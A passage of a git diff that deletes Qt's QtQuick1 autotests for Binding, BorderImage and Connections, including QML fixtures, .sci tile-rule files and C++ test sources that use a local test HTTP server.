-Rectangle { - id: wrapper - width: 400 - height: 400 - - property bool activateBinding: false - - Binding { - id: binding - target: Qt.createQmlObject('import QtQuick 1.0; Item { property real value: 10 }', wrapper) - property: "value" - when: activateBinding - value: x + y - } - - Component.onCompleted: binding.target.destroy(); - -// MouseArea { -// anchors.fill: parent -// onClicked: activateBinding = true; -// } -} diff --git a/tests/auto/qtquick1/qdeclarativebinding/data/test-binding.qml b/tests/auto/qtquick1/qdeclarativebinding/data/test-binding.qml deleted file mode 100644 index 94497368a7..0000000000 --- a/tests/auto/qtquick1/qdeclarativebinding/data/test-binding.qml +++ /dev/null @@ -1,16 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: screen - width: 320; height: 240 - property string text - property bool changeColor: false - - Text { id: s1; text: "Hello" } - Rectangle { id: r1; width: 1; height: 1; color: "yellow" } - Rectangle { id: r2; width: 1; height: 1; color: "red" } - - Binding { target: screen; property: "text"; value: s1.text; objectName: "binding1" } - Binding { target: screen; property: "color"; value: r1.color } - Binding { target: screen; property: "color"; when: screen.changeColor == true; value: r2.color; objectName: "binding3" } -} diff --git a/tests/auto/qtquick1/qdeclarativebinding/data/test-binding2.qml b/tests/auto/qtquick1/qdeclarativebinding/data/test-binding2.qml deleted file mode 100644 index 3e99e2b5e6..0000000000 --- a/tests/auto/qtquick1/qdeclarativebinding/data/test-binding2.qml +++ /dev/null @@ -1,16 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: screen - width: 320; height: 240 - property string text - property bool changeColor: false - - Text { id: s1; text: "Hello" } - Rectangle { id: r1; width: 1; height: 1; color: "yellow" } - Rectangle { id: r2; width: 1; height: 1; color: "red" } - - Binding { target: screen; property: "text"; value: s1.text } - Binding { target: screen; property: "color"; value: r1.color } - Binding { target: screen; property: "color"; value: r2.color; when: screen.changeColor == true } -} diff --git a/tests/auto/qtquick1/qdeclarativebinding/qdeclarativebinding.pro b/tests/auto/qtquick1/qdeclarativebinding/qdeclarativebinding.pro deleted file mode 100644 index 0c38a9c783..0000000000 --- a/tests/auto/qtquick1/qdeclarativebinding/qdeclarativebinding.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativebinding -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativebinding.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativebinding/tst_qdeclarativebinding.cpp b/tests/auto/qtquick1/qdeclarativebinding/tst_qdeclarativebinding.cpp deleted file mode 100644 index 75ada59b24..0000000000 --- a/tests/auto/qtquick1/qdeclarativebinding/tst_qdeclarativebinding.cpp +++ /dev/null @@ -1,128 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include - -class tst_qdeclarativebinding : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativebinding(); - -private slots: - void binding(); - void whenAfterValue(); - void deletedObject(); - -private: - QDeclarativeEngine engine; -}; - -tst_qdeclarativebinding::tst_qdeclarativebinding() -{ -} - -void tst_qdeclarativebinding::binding() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-binding.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - - QDeclarative1Bind *binding3 = qobject_cast(rect->findChild("binding3")); - QVERIFY(binding3 != 0); - - QCOMPARE(rect->color(), QColor("yellow")); - QCOMPARE(rect->property("text").toString(), QString("Hello")); - QCOMPARE(binding3->when(), false); - - rect->setProperty("changeColor", true); - QCOMPARE(rect->color(), QColor("red")); - - QCOMPARE(binding3->when(), true); - - QDeclarative1Bind *binding = qobject_cast(rect->findChild("binding1")); - QVERIFY(binding != 0); - QCOMPARE(binding->object(), qobject_cast(rect)); - QCOMPARE(binding->property(), QLatin1String("text")); - QCOMPARE(binding->value().toString(), QLatin1String("Hello")); - - delete rect; -} - -void tst_qdeclarativebinding::whenAfterValue() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-binding2.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - - QVERIFY(rect != 0); - QCOMPARE(rect->color(), QColor("yellow")); - QCOMPARE(rect->property("text").toString(), QString("Hello")); - - rect->setProperty("changeColor", true); - QCOMPARE(rect->color(), QColor("red")); - - delete rect; -} - -//QTBUG-20692 -void tst_qdeclarativebinding::deletedObject() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/deletedObject.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - - QApplication::sendPostedEvents(0, QEvent::DeferredDelete); - - //don't crash - rect->setProperty("activateBinding", true); - - delete rect; -} - -QTEST_MAIN(tst_qdeclarativebinding) - -#include "tst_qdeclarativebinding.moc" diff --git a/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round-quotes.sci b/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round-quotes.sci deleted file mode 100644 index 294f3cfe48..0000000000 --- a/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round-quotes.sci +++ /dev/null @@ -1,7 +0,0 @@ -border.left:10 -border.top:20 -border.right:30 -border.bottom:40 -horizontalTileRule:Round -verticalTileRule:Repeat -source:"colors.png" diff --git a/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round-remote.sci b/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round-remote.sci deleted file mode 100644 index c673bed598..0000000000 --- a/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round-remote.sci +++ /dev/null @@ -1,7 +0,0 @@ -border.left:10 -border.top:20 -border.right:30 -border.bottom:40 -horizontalTileRule:Round -verticalTileRule:Repeat -source:http://127.0.0.1:14446/colors.png diff --git a/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round.sci b/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round.sci deleted file mode 100644 index 5d2f49f0e1..0000000000 --- a/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round.sci +++ /dev/null @@ -1,7 +0,0 @@ -border.left:10 -border.top:20 -border.right:30 -border.bottom:40 -horizontalTileRule:Round -verticalTileRule:Repeat -source:colors.png diff --git a/tests/auto/qtquick1/qdeclarativeborderimage/data/colors.png b/tests/auto/qtquick1/qdeclarativeborderimage/data/colors.png deleted file mode 100644 index dfb62f3d64..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeborderimage/data/colors.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeborderimage/data/heart200.png b/tests/auto/qtquick1/qdeclarativeborderimage/data/heart200.png deleted file mode 100644 index 5a31ae8f4d..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeborderimage/data/heart200.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeborderimage/data/invalid.sci b/tests/auto/qtquick1/qdeclarativeborderimage/data/invalid.sci deleted file mode 100644 index 98c72c9bf1..0000000000 --- a/tests/auto/qtquick1/qdeclarativeborderimage/data/invalid.sci +++ /dev/null @@ -1,7 +0,0 @@ -border.left:10 -border.top:20 -border.down:30 -border.up:40 -horizontalTileRule:Roun -verticalTileRule:Repea -source:colors.png diff --git a/tests/auto/qtquick1/qdeclarativeborderimage/qdeclarativeborderimage.pro b/tests/auto/qtquick1/qdeclarativeborderimage/qdeclarativeborderimage.pro deleted file mode 100644 index a8c8b18a37..0000000000 --- a/tests/auto/qtquick1/qdeclarativeborderimage/qdeclarativeborderimage.pro +++ /dev/null @@ -1,12 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeborderimage -macx:CONFIG -= app_bundle - -HEADERS += ../../shared/testhttpserver.h -SOURCES += tst_qdeclarativeborderimage.cpp ../../shared/testhttpserver.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private network testlib diff --git a/tests/auto/qtquick1/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/qtquick1/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp deleted file mode 100644 index 8ac3bd3559..0000000000 --- a/tests/auto/qtquick1/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp +++ /dev/null @@ -1,423 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include - -#include "../../shared/testhttpserver.h" - -#define SERVER_PORT 14446 -#define SERVER_ADDR "http://127.0.0.1:14446" - -class tst_qdeclarativeborderimage : public QObject - -{ - Q_OBJECT -public: - tst_qdeclarativeborderimage(); - -private slots: - void noSource(); - void imageSource(); - void imageSource_data(); - void clearSource(); - void resized(); - void smooth(); - void mirror(); - void tileModes(); - void sciSource(); - void sciSource_data(); - void invalidSciFile(); - void pendingRemoteRequest(); - void pendingRemoteRequest_data(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); - -private: - QDeclarativeEngine engine; -}; - -tst_qdeclarativeborderimage::tst_qdeclarativeborderimage() -{ -} - -void tst_qdeclarativeborderimage::noSource() -{ - QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"\" }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->source(), QUrl()); - QCOMPARE(obj->width(), 0.); - QCOMPARE(obj->height(), 0.); - QCOMPARE(obj->horizontalTileMode(), QDeclarative1BorderImage::Stretch); - QCOMPARE(obj->verticalTileMode(), QDeclarative1BorderImage::Stretch); - - delete obj; -} - -void tst_qdeclarativeborderimage::imageSource_data() -{ - QTest::addColumn("source"); - QTest::addColumn("remote"); - QTest::addColumn("error"); - - QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << false << ""; - QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() << false - << "file::2:1: QML BorderImage: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString(); - QTest::newRow("remote") << SERVER_ADDR "/colors.png" << true << ""; - QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.png" << true - << "file::2:1: QML BorderImage: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found"; -} - -void tst_qdeclarativeborderimage::imageSource() -{ - QFETCH(QString, source); - QFETCH(bool, remote); - QFETCH(QString, error); - - TestHTTPServer *server = 0; - if (remote) { - server = new TestHTTPServer(SERVER_PORT); - QVERIFY(server->isValid()); - server->serveDirectory(SRCDIR "/data"); - } - - if (!error.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, error.toUtf8()); - - QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" + source + "\" }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - - if (remote) - QTRY_VERIFY(obj->status() == QDeclarative1BorderImage::Loading); - - QCOMPARE(obj->source(), remote ? source : QUrl(source)); - - if (error.isEmpty()) { - QTRY_VERIFY(obj->status() == QDeclarative1BorderImage::Ready); - QCOMPARE(obj->width(), 120.); - QCOMPARE(obj->height(), 120.); - QCOMPARE(obj->sourceSize().width(), 120); - QCOMPARE(obj->sourceSize().height(), 120); - QCOMPARE(obj->horizontalTileMode(), QDeclarative1BorderImage::Stretch); - QCOMPARE(obj->verticalTileMode(), QDeclarative1BorderImage::Stretch); - } else { - QTRY_VERIFY(obj->status() == QDeclarative1BorderImage::Error); - } - - delete obj; - delete server; -} - -void tst_qdeclarativeborderimage::clearSource() -{ - QString componentStr = "import QtQuick 1.0\nBorderImage { source: srcImage }"; - QDeclarativeContext *ctxt = engine.rootContext(); - ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/colors.png")); - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QVERIFY(obj->status() == QDeclarative1BorderImage::Ready); - QCOMPARE(obj->width(), 120.); - QCOMPARE(obj->height(), 120.); - - ctxt->setContextProperty("srcImage", ""); - QVERIFY(obj->source().isEmpty()); - QVERIFY(obj->status() == QDeclarative1BorderImage::Null); - QCOMPARE(obj->width(), 0.); - QCOMPARE(obj->height(), 0.); -} - -void tst_qdeclarativeborderimage::resized() -{ - QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" + QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() + "\"; width: 300; height: 300 }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->width(), 300.); - QCOMPARE(obj->height(), 300.); - QCOMPARE(obj->sourceSize().width(), 120); - QCOMPARE(obj->sourceSize().height(), 120); - QCOMPARE(obj->horizontalTileMode(), QDeclarative1BorderImage::Stretch); - QCOMPARE(obj->verticalTileMode(), QDeclarative1BorderImage::Stretch); - - delete obj; -} - -void tst_qdeclarativeborderimage::smooth() -{ - QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/colors.png\"; smooth: true; width: 300; height: 300 }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->width(), 300.); - QCOMPARE(obj->height(), 300.); - QCOMPARE(obj->smooth(), true); - QCOMPARE(obj->horizontalTileMode(), QDeclarative1BorderImage::Stretch); - QCOMPARE(obj->verticalTileMode(), QDeclarative1BorderImage::Stretch); - - delete obj; -} - -void tst_qdeclarativeborderimage::mirror() -{ - QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/heart200.png\"; smooth: true; width: 300; height: 300; border { top: 50; right: 50; bottom: 50; left: 50 } }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - - int width = obj->property("width").toInt(); - int height = obj->property("height").toInt(); - - QGraphicsScene scene; - scene.addItem(qobject_cast(obj)); - QPixmap screenshot(width, height); - screenshot.fill(); - QPainter p_screenshot(&screenshot); - scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); - - QTransform transform; - transform.translate(width, 0).scale(-1, 1.0); - QPixmap expected = screenshot.transformed(transform); - - obj->setProperty("mirror", true); - p_screenshot.fillRect(QRect(0, 0, width, height), Qt::white); - scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); - - QEXPECT_FAIL("", "QTBUG-19538", Continue); - QCOMPARE(screenshot, expected); - - delete obj; -} - -void tst_qdeclarativeborderimage::tileModes() -{ - { - QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/colors.png\"; width: 100; height: 300; horizontalTileMode: BorderImage.Repeat; verticalTileMode: BorderImage.Repeat }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->width(), 100.); - QCOMPARE(obj->height(), 300.); - QCOMPARE(obj->horizontalTileMode(), QDeclarative1BorderImage::Repeat); - QCOMPARE(obj->verticalTileMode(), QDeclarative1BorderImage::Repeat); - - delete obj; - } - { - QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/colors.png\"; width: 300; height: 150; horizontalTileMode: BorderImage.Round; verticalTileMode: BorderImage.Round }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->width(), 300.); - QCOMPARE(obj->height(), 150.); - QCOMPARE(obj->horizontalTileMode(), QDeclarative1BorderImage::Round); - QCOMPARE(obj->verticalTileMode(), QDeclarative1BorderImage::Round); - - delete obj; - } -} - -void tst_qdeclarativeborderimage::sciSource() -{ - QFETCH(QString, source); - QFETCH(bool, valid); - - bool remote = source.startsWith("http"); - TestHTTPServer *server = 0; - if (remote) { - server = new TestHTTPServer(SERVER_PORT); - QVERIFY(server->isValid()); - server->serveDirectory(SRCDIR "/data"); - } - - QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" + source + "\"; width: 300; height: 300 }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - - if (remote) - QTRY_VERIFY(obj->status() == QDeclarative1BorderImage::Loading); - - QCOMPARE(obj->source(), remote ? source : QUrl(source)); - QCOMPARE(obj->width(), 300.); - QCOMPARE(obj->height(), 300.); - - if (valid) { - QTRY_VERIFY(obj->status() == QDeclarative1BorderImage::Ready); - QCOMPARE(obj->border()->left(), 10); - QCOMPARE(obj->border()->top(), 20); - QCOMPARE(obj->border()->right(), 30); - QCOMPARE(obj->border()->bottom(), 40); - QCOMPARE(obj->horizontalTileMode(), QDeclarative1BorderImage::Round); - QCOMPARE(obj->verticalTileMode(), QDeclarative1BorderImage::Repeat); - } else { - QTRY_VERIFY(obj->status() == QDeclarative1BorderImage::Error); - } - - delete obj; - delete server; -} - -void tst_qdeclarativeborderimage::sciSource_data() -{ - QTest::addColumn("source"); - QTest::addColumn("valid"); - - QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors-round.sci").toString() << true; - QTest::newRow("local quoted filename") << QUrl::fromLocalFile(SRCDIR "/data/colors-round-quotes.sci").toString() << true; - QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.sci").toString() << false; - QTest::newRow("remote") << SERVER_ADDR "/colors-round.sci" << true; - QTest::newRow("remote filename quoted") << SERVER_ADDR "/colors-round-quotes.sci" << true; - QTest::newRow("remote image") << SERVER_ADDR "/colors-round-remote.sci" << true; - QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.sci" << false; -} - -void tst_qdeclarativeborderimage::invalidSciFile() -{ - QTest::ignoreMessage(QtWarningMsg, "QDeclarative1GridScaledImage: Invalid tile rule specified. Using Stretch."); // for "Roun" - QTest::ignoreMessage(QtWarningMsg, "QDeclarative1GridScaledImage: Invalid tile rule specified. Using Stretch."); // for "Repea" - - QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" + QUrl::fromLocalFile(SRCDIR "/data/invalid.sci").toString() +"\"; width: 300; height: 300 }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->width(), 300.); - QCOMPARE(obj->height(), 300.); - QCOMPARE(obj->status(), QDeclarative1ImageBase::Error); - QCOMPARE(obj->horizontalTileMode(), QDeclarative1BorderImage::Stretch); - QCOMPARE(obj->verticalTileMode(), QDeclarative1BorderImage::Stretch); - - delete obj; -} - -void tst_qdeclarativeborderimage::pendingRemoteRequest() -{ - QFETCH(QString, source); - - QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" + source + "\" }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1BorderImage *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->status(), QDeclarative1BorderImage::Loading); - - // verify no crash - // This will cause a delayed "QThread: Destroyed while thread is still running" warning - delete obj; - QTest::qWait(50); -} - -void tst_qdeclarativeborderimage::pendingRemoteRequest_data() -{ - QTest::addColumn("source"); - - QTest::newRow("png file") << "http://localhost/none.png"; - QTest::newRow("sci file") << "http://localhost/none.sci"; -} - -void tst_qdeclarativeborderimage::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; BorderImage { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; BorderImage { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_qdeclarativeborderimage::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("mirror") << "mirror: true" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"BorderImage.mirror\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("cache") << "cache: true" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"BorderImage.cache\" is not available in QtQuick 1.0.\n"; -} - -QTEST_MAIN(tst_qdeclarativeborderimage) - -#include "tst_qdeclarativeborderimage.moc" diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/connection-targetchange.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/connection-targetchange.qml deleted file mode 100644 index dd92cb9c67..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/connection-targetchange.qml +++ /dev/null @@ -1,25 +0,0 @@ -import QtQuick 1.0 - -Item { - Component { - id: item1 - Item { - objectName: "item1" - } - } - Component { - id: item2 - Item { - objectName: "item2" - } - } - Loader { - id: loader - sourceComponent: item1 - } - Connections { - objectName: "connections" - target: loader.item - onWidthChanged: loader.sourceComponent = item2 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals-ignored.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals-ignored.qml deleted file mode 100644 index 459c34617b..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals-ignored.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -Item { - id: screen - - Connections { target: screen; onNotFooBar1: {} ignoreUnknownSignals: true } - Connections { objectName: "connections"; onNotFooBar2: {} ignoreUnknownSignals: true } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals-notarget.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals-notarget.qml deleted file mode 100644 index 8eddf43fe6..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals-notarget.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -Item { - id: screen - - Connections { objectName: "connections"; target: null; onNotFooBar: {} } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals-parent.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals-parent.qml deleted file mode 100644 index 953347a3b2..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals-parent.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -Item { - id: screen - - Connections { objectName: "connections"; onFooBar: {} } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals.qml deleted file mode 100644 index 3702bdbe73..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/connection-unknownsignals.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -Item { - id: screen - - Connections { objectName: "connections"; target: screen; onFooBar: {} } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/error-object.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/error-object.qml deleted file mode 100644 index 376a2182fe..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/error-object.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -Item { - Connections { - onClicked: Item {} - } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/error-property.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/error-property.qml deleted file mode 100644 index 677af152ce..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/error-property.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Item { - Connections { fakeProperty: {} } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/error-property2.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/error-property2.qml deleted file mode 100644 index 127e58e657..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/error-property2.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Item { - Connections { onfakeProperty: {} } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/error-syntax.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/error-syntax.qml deleted file mode 100644 index 6a82528e1a..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/error-syntax.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 - -Item { - Connections { - onClicked { - onPressed: {} - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/test-connection.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/test-connection.qml deleted file mode 100644 index c5990830cd..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/test-connection.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -Item { - id: screen; width: 50 - - property bool tested: false - signal testMe - - Connections { target: screen; onWidthChanged: screen.tested = true } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/test-connection2.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/test-connection2.qml deleted file mode 100644 index f0dbaba5a6..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/test-connection2.qml +++ /dev/null @@ -1,3 +0,0 @@ -import QtQuick 1.0 - -Connections { id: connection; target: connection; onTargetChanged: 1 == 1 } diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/test-connection3.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/test-connection3.qml deleted file mode 100644 index 94c9c7ca7f..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/test-connection3.qml +++ /dev/null @@ -1,3 +0,0 @@ -import QtQuick 1.0 - -Connections {} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/data/trimming.qml b/tests/auto/qtquick1/qdeclarativeconnection/data/trimming.qml deleted file mode 100644 index 00507d919c..0000000000 --- a/tests/auto/qtquick1/qdeclarativeconnection/data/trimming.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -Item { - id: screen; width: 50 - - property string tested - signal testMe(int param1, string param2) - - Connections { target: screen; onTestMe: screen.tested = param2 + param1 } -} diff --git a/tests/auto/qtquick1/qdeclarativeconnection/qdeclarativeconnection.pro b/tests/auto/qtquick1/qdeclarativeconnection/qdeclarativeconnection.pro deleted file mode 100644 index 833c77db54..0000000000 --- 